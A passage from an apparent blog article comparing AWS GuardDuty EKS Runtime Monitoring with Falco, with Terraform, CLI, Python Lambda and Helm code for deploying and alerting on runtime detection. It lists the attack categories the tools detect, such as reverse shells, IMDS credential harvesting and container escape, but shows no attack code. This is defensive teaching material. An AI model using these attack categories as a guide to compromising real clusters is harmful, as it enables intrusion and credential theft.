      <li><a href="#scenario-2-reverse-shell-establishment" id="markdown-toc-scenario-2-reverse-shell-establishment">Scenario 2: Reverse Shell Establishment</a></li>
      <li><a href="#scenario-3-privilege-escalation-and-container-escape" id="markdown-toc-scenario-3-privilege-escalation-and-container-escape">Scenario 3: Privilege Escalation and Container Escape</a></li>
    </ul>
  </li>
  <li><a href="#when-to-use-which-decision-framework" id="markdown-toc-when-to-use-which-decision-framework">When to Use Which: Decision Framework</a>    <ul>
      <li><a href="#choose-guardduty-eks-runtime-monitoring-when" id="markdown-toc-choose-guardduty-eks-runtime-monitoring-when">Choose GuardDuty EKS Runtime Monitoring When</a></li>
      <li><a href="#choose-falco-when" id="markdown-toc-choose-falco-when">Choose Falco When</a></li>
      <li><a href="#choose-both-defense-in-depth-when" id="markdown-toc-choose-both-defense-in-depth-when">Choose Both (Defense-in-Depth) When</a></li>
    </ul>
  </li>
  <li><a href="#defense-in-depth-running-both-together" id="markdown-toc-defense-in-depth-running-both-together">Defense-in-Depth: Running Both Together</a>    <ul>
      <li><a href="#combined-architecture" id="markdown-toc-combined-architecture">Combined Architecture</a></li>
      <li><a href="#deduplication-strategy" id="markdown-toc-deduplication-strategy">Deduplication Strategy</a></li>
    </ul>
  </li>
  <li><a href="#best-practices-and-recommendations" id="markdown-toc-best-practices-and-recommendations">Best Practices and Recommendations</a>    <ul>
      <li><a href="#1-start-with-guardduty-extend-with-falco" id="markdown-toc-1-start-with-guardduty-extend-with-falco">1. Start with GuardDuty, Extend with Falco</a></li>
      <li><a href="#2-write-application-specific-falco-rules" id="markdown-toc-2-write-application-specific-falco-rules">2. Write Application-Specific Falco Rules</a></li>
      <li><a href="#3-enforce-pod-security-standards" id="markdown-toc-3-enforce-pod-security-standards">3. Enforce Pod Security Standards</a></li>
      <li><a href="#4-integrate-with-incident-response" id="markdown-toc-4-integrate-with-incident-response">4. Integrate with Incident Response</a></li>
      <li><a href="#5-test-your-detection" id="markdown-toc-5-test-your-detection">5. Test Your Detection</a></li>
      <li><a href="#6-monitor-the-monitors" id="markdown-toc-6-monitor-the-monitors">6. Monitor the Monitors</a></li>
    </ul>
  </li>
  <li><a href="#related-articles" id="markdown-toc-related-articles">Related Articles</a></li>
  <li><a href="#conclusion" id="markdown-toc-conclusion">Conclusion</a></li>
</ul>

<h2 id="introduction">Introduction</h2>

<p>Kubernetes clusters are under siege. The moment you spin up an EKS cluster, the clock starts ticking – research shows that EKS clusters face their first attack attempt within 28 minutes of creation. Runtime security is no longer optional; it is the final line of defense when everything else – image scanning, admission controllers, network policies – has already been bypassed.</p>

<p>Two dominant approaches have emerged for EKS runtime threat detection: <strong>AWS GuardDuty EKS Runtime Monitoring</strong>, the fully managed AWS-native option, and <strong>Falco</strong>, the CNCF graduated open-source project that has become the de facto standard for Kubernetes runtime security. Both leverage eBPF to observe kernel-level system calls, but they take fundamentally different paths from there.</p>

<p>This article provides a head-to-head technical comparison with real detection scenarios, working deployment code, and a decision framework so you can choose the right tool – or combine both for defense-in-depth.</p>

<h3 id="current-landscape-statistics">Current Landscape Statistics</h3>

<ul>
  <li><strong>Attack Frequency</strong>: 90% of organizations experienced at least one Kubernetes security incident in the past year, with 58% reporting container-specific breaches (<a href="https://www.wiz.io/reports/kubernetes-security-report-2025">Wiz Kubernetes Security Report 2025</a>)</li>
  <li><strong>Business Impact</strong>: 46% of organizations experienced revenue or customer loss due to container security incidents (<a href="https://www.tigera.io/learn/guides/kubernetes-security/kubernetes-statistics/">Tigera Kubernetes Statistics</a>)</li>
  <li><strong>Time to Attack</strong>: EKS clusters are targeted within 28 minutes of creation, while AKS clusters face attacks within 18 minutes (<a href="https://www.anantacloud.com/post/kubernetes-security-in-2026-modern-threats-and-how-to-defend-against-them">Ananta Cloud 2026 Report</a>)</li>
  <li><strong>Deployment Slowdowns</strong>: 67% of organizations have delayed deployments due to Kubernetes security concerns (<a href="https://www.mend.io/blog/kubernetes-security/">Mend.io Kubernetes Security</a>)</li>
  <li><strong>Machine Identity Explosion</strong>: Machine identities now outnumber humans by 40,000:1, with Kubernetes service accounts posing the highest identity risk (<a href="https://www.cncf.io/blog/2025/12/15/kubernetes-security-2025-stable-features-and-2026-preview/">CNCF Security Features 2025</a>)</li>
</ul>

<h2 id="aws-guardduty-eks-runtime-monitoring">AWS GuardDuty EKS Runtime Monitoring</h2>

<h3 id="how-it-works">How It Works</h3>

<p>GuardDuty EKS Runtime Monitoring deploys a fully managed security agent as a DaemonSet across your EKS cluster worker nodes. The agent uses an eBPF probe to observe system calls at the kernel level – file access, process execution, and network connections – without requiring sidecar containers or application modifications.</p>

<p>The architecture works in three layers:</p>

<ol>
  <li><strong>eBPF Agent (DaemonSet)</strong>: Collects runtime events from all pods on each node</li>
  <li><strong>GuardDuty Service Backend</strong>: Correlates events with AWS threat intelligence, ML models, and known attack patterns</li>
  <li><strong>Findings Pipeline</strong>: Publishes findings to GuardDuty console, Security Hub, EventBridge, and CloudWatch</li>
</ol>

<p>A significant 2025 enhancement introduced <strong>Extended Threat Detection</strong>, which correlates security signals across EKS audit logs, runtime behavior, malware execution, and AWS API activity to detect multi-stage attacks targeting EKS clusters. This means GuardDuty can now identify attack chains where an attacker compromises a pod, escalates privileges, exfiltrates credentials, and makes API calls to other AWS services – all as a single correlated finding.</p>

<h3 id="key-detection-categories">Key Detection Categories</h3>

<p>GuardDuty EKS Runtime Monitoring detects threats across these finding types:</p>

<ul>
  <li><strong>Execution</strong>: Reverse shells, suspicious binary execution, container escape attempts</li>
  <li><strong>Cryptomining</strong>: XMRig and other miner detection via process and network signatures</li>
  <li><strong>Credential Access</strong>: IMDS credential harvesting, secrets access from unexpected processes</li>
  <li><strong>Privilege Escalation</strong>: Unexpected privilege changes, namespace breakout attempts</li>
  <li><strong>Discovery</strong>: Kubernetes API enumeration, network scanning from pods</li>
  <li><strong>Defense Evasion</strong>: Log tampering, agent disabling, file modification in critical paths</li>
</ul>

<h3 id="enabling-guardduty-eks-runtime-monitoring-with-terraform">Enabling GuardDuty EKS Runtime Monitoring with Terraform</h3>

<div class="language-hcl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
</pre></td><td class="rouge-code"><pre><span class="c1"># guardduty-eks-runtime.tf</span>

<span class="nx">resource</span> <span class="s2">"aws_guardduty_detector"</span> <span class="s2">"main"</span> <span class="p">{</span>
  <span class="nx">enable</span> <span class="o">=</span> <span class="kc">true</span>

  <span class="nx">datasources</span> <span class="p">{</span>
    <span class="nx">kubernetes</span> <span class="p">{</span>
      <span class="nx">audit_logs</span> <span class="p">{</span>
        <span class="nx">enable</span> <span class="o">=</span> <span class="kc">true</span>
      <span class="p">}</span>
    <span class="p">}</span>
  <span class="p">}</span>
<span class="p">}</span>

<span class="nx">resource</span> <span class="s2">"aws_guardduty_detector_feature"</span> <span class="s2">"eks_runtime"</span> <span class="p">{</span>
  <span class="nx">detector_id</span> <span class="o">=</span> <span class="nx">aws_guardduty_detector</span><span class="p">.</span><span class="nx">main</span><span class="p">.</span><span class="nx">id</span>
  <span class="nx">name</span>        <span class="o">=</span> <span class="s2">"EKS_RUNTIME_MONITORING"</span>
  <span class="nx">status</span>      <span class="o">=</span> <span class="s2">"ENABLED"</span>

  <span class="nx">additional_configuration</span> <span class="p">{</span>
    <span class="nx">name</span>   <span class="o">=</span> <span class="s2">"EKS_ADDON_MANAGEMENT"</span>
    <span class="nx">status</span> <span class="o">=</span> <span class="s2">"ENABLED"</span>
  <span class="p">}</span>
<span class="p">}</span>

<span class="c1"># Optional: Organization-wide enablement</span>
<span class="nx">resource</span> <span class="s2">"aws_guardduty_organization_configuration_feature"</span> <span class="s2">"eks_runtime_org"</span> <span class="p">{</span>
  <span class="nx">detector_id</span> <span class="o">=</span> <span class="nx">aws_guardduty_detector</span><span class="p">.</span><span class="nx">main</span><span class="p">.</span><span class="nx">id</span>
  <span class="nx">name</span>        <span class="o">=</span> <span class="s2">"EKS_RUNTIME_MONITORING"</span>
  <span class="nx">auto_enable</span> <span class="o">=</span> <span class="s2">"ALL"</span>

  <span class="nx">additional_configuration</span> <span class="p">{</span>
    <span class="nx">name</span>        <span class="o">=</span> <span class="s2">"EKS_ADDON_MANAGEMENT"</span>
    <span class="nx">auto_enable</span> <span class="o">=</span> <span class="s2">"ALL"</span>
  <span class="p">}</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>With <code class="language-plaintext highlighter-rouge">EKS_ADDON_MANAGEMENT</code> enabled, GuardDuty automatically manages the security agent deployment across your clusters. You do not need to install or maintain the agent yourself – it runs as a managed EKS add-on.</p>

<h3 id="verifying-agent-deployment">Verifying Agent Deployment</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
</pre></td><td class="rouge-code"><pre><span class="c"># Check the GuardDuty agent DaemonSet status</span>
kubectl get daemonset <span class="nt">-n</span> amazon-guardduty

<span class="c"># Verify agent pods are running on all nodes</span>
kubectl get pods <span class="nt">-n</span> amazon-guardduty <span class="nt">-o</span> wide

<span class="c"># Check agent health</span>
kubectl logs <span class="nt">-n</span> amazon-guardduty <span class="nt">-l</span> <span class="nv">app</span><span class="o">=</span>guardduty-agent <span class="nt">--tail</span><span class="o">=</span>20

<span class="c"># List current GuardDuty findings for EKS</span>
aws guardduty list-findings <span class="se">\</span>
  <span class="nt">--detector-id</span> <span class="si">$(</span>aws guardduty list-detectors <span class="nt">--query</span> <span class="s1">'DetectorIds[0]'</span> <span class="nt">--output</span> text<span class="si">)</span> <span class="se">\</span>
  <span class="nt">--finding-criteria</span> <span class="s1">'{
    "Criterion": {
      "resource.resourceType": {
        "Eq": ["EKSCluster"]
      },
      "severity": {
        "Gte": 7
      }
    }
  }'</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="automating-guardduty-alerts-with-python">Automating GuardDuty Alerts with Python</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
</pre></td><td class="rouge-code"><pre><span class="sh">"""</span><span class="s">
GuardDuty EKS Runtime Finding Processor

Processes GuardDuty findings via EventBridge and routes
high-severity EKS runtime alerts to SNS and Slack.
</span><span class="sh">"""</span>

<span class="kn">import</span> <span class="n">json</span>
<span class="kn">import</span> <span class="n">boto3</span>
<span class="kn">import</span> <span class="n">os</span>
<span class="kn">from</span> <span class="n">datetime</span> <span class="kn">import</span> <span class="n">datetime</span>

<span class="n">sns_client</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">"</span><span class="s">sns</span><span class="sh">"</span><span class="p">)</span>
<span class="n">guardduty_client</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">"</span><span class="s">guardduty</span><span class="sh">"</span><span class="p">)</span>

<span class="n">CRITICAL_SNS_TOPIC</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span>
    <span class="sh">"</span><span class="s">CRITICAL_SNS_TOPIC</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">arn:aws:sns:us-east-1:181303648587:alert-critical</span><span class="sh">"</span>
<span class="p">)</span>
<span class="n">LOW_SNS_TOPIC</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span>
    <span class="sh">"</span><span class="s">LOW_SNS_TOPIC</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">arn:aws:sns:us-east-1:181303648587:alert-low</span><span class="sh">"</span>
<span class="p">)</span>


<span class="k">def</span> <span class="nf">lambda_handler</span><span class="p">(</span><span class="n">event</span><span class="p">,</span> <span class="n">context</span><span class="p">):</span>
    <span class="sh">"""</span><span class="s">Process GuardDuty EKS Runtime findings from EventBridge.</span><span class="sh">"""</span>
    <span class="n">detail</span> <span class="o">=</span> <span class="n">event</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">detail</span><span class="sh">"</span><span class="p">,</span> <span class="p">{})</span>
    <span class="n">finding_type</span> <span class="o">=</span> <span class="n">detail</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">type</span><span class="sh">"</span><span class="p">,</span> <span class="sh">""</span><span class="p">)</span>
    <span class="n">severity</span> <span class="o">=</span> <span class="n">detail</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">severity</span><span class="sh">"</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
    <span class="n">title</span> <span class="o">=</span> <span class="n">detail</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">title</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">Unknown Finding</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">description</span> <span class="o">=</span> <span class="n">detail</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">description</span><span class="sh">"</span><span class="p">,</span> <span class="sh">""</span><span class="p">)</span>

    <span class="c1"># Extract EKS-specific context
</span>    <span class="n">resource</span> <span class="o">=</span> <span class="n">detail</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">resource</span><span class="sh">"</span><span class="p">,</span> <span class="p">{})</span>
    <span class="n">eks_cluster</span> <span class="o">=</span> <span class="n">resource</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">eksClusterDetails</span><span class="sh">"</span><span class="p">,</span> <span class="p">{})</span>
    <span class="n">cluster_name</span> <span class="o">=</span> <span class="n">eks_cluster</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">name</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">unknown</span><span class="sh">"</span><span class="p">)</span>

    <span class="c1"># Extract runtime context if available
</span>    <span class="n">runtime_details</span> <span class="o">=</span> <span class="n">detail</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">service</span><span class="sh">"</span><span class="p">,</span> <span class="p">{}).</span><span class="nf">get</span><span class="p">(</span>
        <span class="sh">"</span><span class="s">runtimeDetails</span><span class="sh">"</span><span class="p">,</span> <span class="p">{}</span>
    <span class="p">)</span>
    <span class="n">process_name</span> <span class="o">=</span> <span class="n">runtime_details</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">process</span><span class="sh">"</span><span class="p">,</span> <span class="p">{}).</span><span class="nf">get</span><span class="p">(</span>
        <span class="sh">"</span><span class="s">name</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">N/A</span><span class="sh">"</span>
    <span class="p">)</span>
    <span class="n">container_name</span> <span class="o">=</span> <span class="n">runtime_details</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">context</span><span class="sh">"</span><span class="p">,</span> <span class="p">{}).</span><span class="nf">get</span><span class="p">(</span>
        <span class="sh">"</span><span class="s">containerName</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">N/A</span><span class="sh">"</span>
    <span class="p">)</span>
    <span class="n">namespace</span> <span class="o">=</span> <span class="n">runtime_details</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">context</span><span class="sh">"</span><span class="p">,</span> <span class="p">{}).</span><span class="nf">get</span><span class="p">(</span>
        <span class="sh">"</span><span class="s">namespace</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">N/A</span><span class="sh">"</span>
    <span class="p">)</span>

    <span class="c1"># Build alert message
</span>    <span class="n">alert</span> <span class="o">=</span> <span class="p">{</span>
        <span class="sh">"</span><span class="s">source</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">GuardDuty EKS Runtime</span><span class="sh">"</span><span class="p">,</span>
        <span class="sh">"</span><span class="s">timestamp</span><span class="sh">"</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">().</span><span class="nf">isoformat</span><span class="p">(),</span>
        <span class="sh">"</span><span class="s">cluster</span><span class="sh">"</span><span class="p">:</span> <span class="n">cluster_name</span><span class="p">,</span>
        <span class="sh">"</span><span class="s">namespace</span><span class="sh">"</span><span class="p">:</span> <span class="n">namespace</span><span class="p">,</span>
        <span class="sh">"</span><span class="s">container</span><span class="sh">"</span><span class="p">:</span> <span class="n">container_name</span><span class="p">,</span>
        <span class="sh">"</span><span class="s">process</span><span class="sh">"</span><span class="p">:</span> <span class="n">process_name</span><span class="p">,</span>
        <span class="sh">"</span><span class="s">finding_type</span><span class="sh">"</span><span class="p">:</span> <span class="n">finding_type</span><span class="p">,</span>
        <span class="sh">"</span><span class="s">severity</span><span class="sh">"</span><span class="p">:</span> <span class="n">severity</span><span class="p">,</span>
        <span class="sh">"</span><span class="s">title</span><span class="sh">"</span><span class="p">:</span> <span class="n">title</span><span class="p">,</span>
        <span class="sh">"</span><span class="s">description</span><span class="sh">"</span><span class="p">:</span> <span class="n">description</span><span class="p">,</span>
        <span class="sh">"</span><span class="s">finding_id</span><span class="sh">"</span><span class="p">:</span> <span class="n">detail</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">id</span><span class="sh">"</span><span class="p">,</span> <span class="sh">""</span><span class="p">),</span>
    <span class="p">}</span>

    <span class="c1"># Route based on severity
</span>    <span class="n">topic_arn</span> <span class="o">=</span> <span class="p">(</span>
        <span class="n">CRITICAL_SNS_TOPIC</span> <span class="k">if</span> <span class="n">severity</span> <span class="o">&gt;=</span> <span class="mi">7</span> <span class="k">else</span> <span class="n">LOW_SNS_TOPIC</span>
    <span class="p">)</span>

    <span class="n">sns_client</span><span class="p">.</span><span class="nf">publish</span><span class="p">(</span>
        <span class="n">TopicArn</span><span class="o">=</span><span class="n">topic_arn</span><span class="p">,</span>
        <span class="n">Subject</span><span class="o">=</span><span class="sa">f</span><span class="sh">"</span><span class="s">[EKS Runtime] </span><span class="si">{</span><span class="n">title</span><span class="si">}</span><span class="s"> - </span><span class="si">{</span><span class="n">cluster_name</span><span class="si">}</span><span class="sh">"</span><span class="p">,</span>
        <span class="n">Message</span><span class="o">=</span><span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">(</span><span class="n">alert</span><span class="p">,</span> <span class="n">indent</span><span class="o">=</span><span class="mi">2</span><span class="p">),</span>
    <span class="p">)</span>

    <span class="c1"># For critical findings, trigger automated response
</span>    <span class="k">if</span> <span class="n">severity</span> <span class="o">&gt;=</span> <span class="mi">8</span><span class="p">:</span>
        <span class="nf">trigger_incident_response</span><span class="p">(</span><span class="n">alert</span><span class="p">)</span>

    <span class="k">return</span> <span class="p">{</span>
        <span class="sh">"</span><span class="s">statusCode</span><span class="sh">"</span><span class="p">:</span> <span class="mi">200</span><span class="p">,</span>
        <span class="sh">"</span><span class="s">finding_type</span><span class="sh">"</span><span class="p">:</span> <span class="n">finding_type</span><span class="p">,</span>
        <span class="sh">"</span><span class="s">severity</span><span class="sh">"</span><span class="p">:</span> <span class="n">severity</span><span class="p">,</span>
        <span class="sh">"</span><span class="s">action</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">alerted</span><span class="sh">"</span><span class="p">,</span>
    <span class="p">}</span>


<span class="k">def</span> <span class="nf">trigger_incident_response</span><span class="p">(</span><span class="n">alert</span><span class="p">):</span>
    <span class="sh">"""</span><span class="s">Initiate automated incident response for critical findings.</span><span class="sh">"""</span>
    <span class="c1"># Example: Isolate the pod by applying a deny-all NetworkPolicy
</span>    <span class="nf">print</span><span class="p">(</span>
        <span class="sa">f</span><span class="sh">"</span><span class="s">CRITICAL: Initiating incident response for </span><span class="sh">"</span>
        <span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">alert</span><span class="p">[</span><span class="sh">'</span><span class="s">container</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="s"> in </span><span class="si">{</span><span class="n">alert</span><span class="p">[</span><span class="sh">'</span><span class="s">namespace</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="sh">"</span>
    <span class="p">)</span>
    <span class="c1"># In production, invoke a Step Function or Lambda
</span>    <span class="c1"># that applies NetworkPolicy isolation, captures forensics,
</span>    <span class="c1"># and notifies the on-call team
</span></pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="eventbridge-rule-for-eks-runtime-findings">EventBridge Rule for EKS Runtime Findings</h3>

<div class="language-hcl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
</pre></td><td class="rouge-code"><pre><span class="c1"># eventbridge-guardduty-eks.tf</span>

<span class="nx">resource</span> <span class="s2">"aws_cloudwatch_event_rule"</span> <span class="s2">"guardduty_eks_runtime"</span> <span class="p">{</span>
  <span class="nx">name</span>        <span class="o">=</span> <span class="s2">"guardduty-eks-runtime-findings"</span>
  <span class="nx">description</span> <span class="o">=</span> <span class="s2">"Capture GuardDuty EKS Runtime Monitoring findings"</span>

  <span class="nx">event_pattern</span> <span class="o">=</span> <span class="nx">jsonencode</span><span class="p">({</span>
    <span class="nx">source</span>      <span class="o">=</span> <span class="p">[</span><span class="s2">"aws.guardduty"</span><span class="p">]</span>
    <span class="nx">detail-type</span> <span class="o">=</span> <span class="p">[</span><span class="s2">"GuardDuty Finding"</span><span class="p">]</span>
    <span class="nx">detail</span> <span class="o">=</span> <span class="p">{</span>
      <span class="nx">type</span> <span class="o">=</span> <span class="p">[{</span>
        <span class="nx">prefix</span> <span class="o">=</span> <span class="s2">"Execution:"</span>
      <span class="p">},</span> <span class="p">{</span>
        <span class="nx">prefix</span> <span class="o">=</span> <span class="s2">"CryptoCurrency:"</span>
      <span class="p">},</span> <span class="p">{</span>
        <span class="nx">prefix</span> <span class="o">=</span> <span class="s2">"PrivilegeEscalation:"</span>
      <span class="p">},</span> <span class="p">{</span>
        <span class="nx">prefix</span> <span class="o">=</span> <span class="s2">"UnauthorizedAccess:"</span>
      <span class="p">}]</span>
      <span class="nx">resource</span> <span class="o">=</span> <span class="p">{</span>
        <span class="nx">resourceType</span> <span class="o">=</span> <span class="p">[</span><span class="s2">"EKSCluster"</span><span class="p">]</span>
      <span class="p">}</span>
    <span class="p">}</span>
  <span class="p">})</span>
<span class="p">}</span>

<span class="nx">resource</span> <span class="s2">"aws_cloudwatch_event_target"</span> <span class="s2">"guardduty_processor"</span> <span class="p">{</span>
  <span class="nx">rule</span>      <span class="o">=</span> <span class="nx">aws_cloudwatch_event_rule</span><span class="p">.</span><span class="nx">guardduty_eks_runtime</span><span class="p">.</span><span class="nx">name</span>
  <span class="nx">target_id</span> <span class="o">=</span> <span class="s2">"guardduty-eks-processor"</span>
  <span class="nx">arn</span>       <span class="o">=</span> <span class="nx">aws_lambda_function</span><span class="p">.</span><span class="nx">guardduty_processor</span><span class="p">.</span><span class="nx">arn</span>
<span class="p">}</span>

<span class="nx">resource</span> <span class="s2">"aws_lambda_permission"</span> <span class="s2">"allow_eventbridge"</span> <span class="p">{</span>
  <span class="nx">statement_id</span>  <span class="o">=</span> <span class="s2">"AllowEventBridge"</span>
  <span class="nx">action</span>        <span class="o">=</span> <span class="s2">"lambda:InvokeFunction"</span>
  <span class="nx">function_name</span> <span class="o">=</span> <span class="nx">aws_lambda_function</span><span class="p">.</span><span class="nx">guardduty_processor</span><span class="p">.</span><span class="nx">function_name</span>
  <span class="nx">principal</span>     <span class="o">=</span> <span class="s2">"events.amazonaws.com"</span>
  <span class="nx">source_arn</span>    <span class="o">=</span> <span class="nx">aws_cloudwatch_event_rule</span><span class="p">.</span><span class="nx">guardduty_eks_runtime</span><span class="p">.</span><span class="nx">arn</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="falco-open-source-runtime-security">Falco: Open-Source Runtime Security</h2>

<h3 id="how-it-works-1">How It Works</h3>

<p>Falco is a CNCF graduated project that functions as a runtime security engine for containers and Kubernetes. Like GuardDuty, it uses an eBPF probe attached to the kernel to observe system calls – but that is where the managed experience ends and the open-source flexibility begins.</p>

<p>Falco’s architecture consists of:</p>

<ol>
  <li><strong>eBPF Driver</strong>: The modern eBPF probe (default since Falco 0.38.0) captures kernel events without requiring kernel modules, running in a distroless/no-driver configuration</li>
  <li><strong>Rules Engine</strong>: A powerful YAML-based rules language that lets you define exactly what constitutes a threat in your environment</li>
  <li><strong>Falcosidekick</strong>: A companion project that routes alerts to 50+ output destinations (Slack, PagerDuty, AWS services, Elasticsearch, and more)</li>
  <li><strong>Kubernetes Operator</strong> (emerging in 0.41.0): Deeper native integration for managing Falco deployments declaratively</li>
</ol>

<p>Falco 0.41.0 (May 2025) introduced reimplemented container engine support, improved eBPF security by moving sensitive settings from mmapable <code class="language-plaintext highlighter-rouge">.bss</code> segments to dedicated maps, and a Kubernetes operator for simplified lifecycle management.</p>

<h3 id="key-advantages-over-managed-solutions">Key Advantages Over Managed Solutions</h3>

<ul>
  <li><strong>Custom Rules</strong>: Write detection logic specific to your applications and threat model</li>
  <li><strong>Multi-Cloud Portability</strong>: Same rules and tooling across AWS, GCP, Azure, and on-premises</li>
  <li><strong>Full Transparency</strong>: Inspect every rule, understand every alert, no black-box ML</li>
  <li><strong>Community Rules</strong>: Leverage a massive library of community-contributed detection rules</li>
  <li><strong>No Per-Resource Pricing</strong>: Open source with no per-node or per-cluster charges</li>
  <li><strong>Response Integration</strong>: 50+ output targets via Falcosidekick for flexible alert routing</li>
</ul>

<h3 id="deploying-falco-on-eks-with-helm">Deploying Falco on EKS with Helm</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="rouge-code"><pre><span class="c"># Add the Falco Helm repository</span>
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update

<span class="c"># Create namespace</span>
kubectl create namespace falco

<span class="c"># Deploy Falco with eBPF driver and Falcosidekick</span>
helm <span class="nb">install </span>falco falcosecurity/falco <span class="se">\</span>
  <span class="nt">--namespace</span> falco <span class="se">\</span>
  <span class="nt">--set</span> falcosidekick.enabled<span class="o">=</span><span class="nb">true</span> <span class="se">\</span>
  <span class="nt">--set</span> falcosidekick.webui.enabled<span class="o">=</span><span class="nb">true</span> <span class="se">\</span>
  <span class="nt">--set</span> driver.kind<span class="o">=</span>modern_ebpf <span class="se">\</span>
  <span class="nt">--set</span> collectors.kubernetes.enabled<span class="o">=</span><span class="nb">true</span> <span class="se">\</span>
  <span class="nt">--set</span> falco.json_output<span class="o">=</span><span class="nb">true</span> <span class="se">\</span>
  <span class="nt">--set</span> falco.log_stderr<span class="o">=</span><span class="nb">true</span> <span class="se">\</span>
  <span class="nt">--set</span> falco.log_level<span class="o">=</span>info <span class="se">\</span>
  <span class="nt">--set</span> customRules.<span class="s2">"custom-rules</span><span class="se">\.</span><span class="s2">yaml"</span><span class="o">=</span><span class="s2">"</span><span class="si">$(</span><span class="nb">cat </span>custom-rules.yaml<span class="si">)</span><span class="s2">"</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Or use a <code class="language-plaintext highlighter-rouge">values.yaml</code> for production deployments:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
</pre></td><td class="rouge-code"><pre><span class="c1"># falco-values.yaml</span>

<span class="na">driver</span><span class="pi">:</span>
  <span class="na">kind</span><span class="pi">:</span> <span class="s">modern_ebpf</span>

<span class="na">falco</span><span class="pi">:</span>
  <span class="na">json_output</span><span class="pi">:</span> <span class="kc">true</span>
  <span class="na">log_stderr</span><span class="pi">:</span> <span class="kc">true</span>
  <span class="na">log_level</span><span class="pi">:</span> <span class="s">info</span>
  <span class="na">priority</span><span class="pi">:</span> <span class="s">warning</span>
  <span class="na">grpc</span><span class="pi">:</span>
    <span class="na">enabled</span><span class="pi">:</span> <span class="kc">true</span>
  <span class="na">grpc_output</span><span class="pi">:</span>
    <span class="na">enabled</span><span class="pi">:</span> <span class="kc">true</span>

<span class="na">collectors</span><span class="pi">:</span>
  <span class="na">kubernetes</span><span class="pi">:</span>
